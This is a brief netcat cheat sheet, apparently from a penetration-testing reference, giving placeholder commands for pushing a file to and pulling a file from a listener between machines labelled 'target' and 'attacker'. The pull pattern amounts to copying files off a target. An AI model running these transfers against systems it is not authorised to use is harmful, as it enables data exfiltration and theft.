Push from Client to Listener
On target machine: nc -lp [local port] > [outfile]
On attacker machine: nc -w3 [listener IP] [listener port] < [infile]
Send [infile] to listener, where it will be stored in [outfile]

Pull from Listener to Client
On target machine: nc -lp [local port] < [infile]
On attacker machine: nc -w3 [listener IP] [listener port] > [outfile]
Get [infile] from listener and store in [outfile]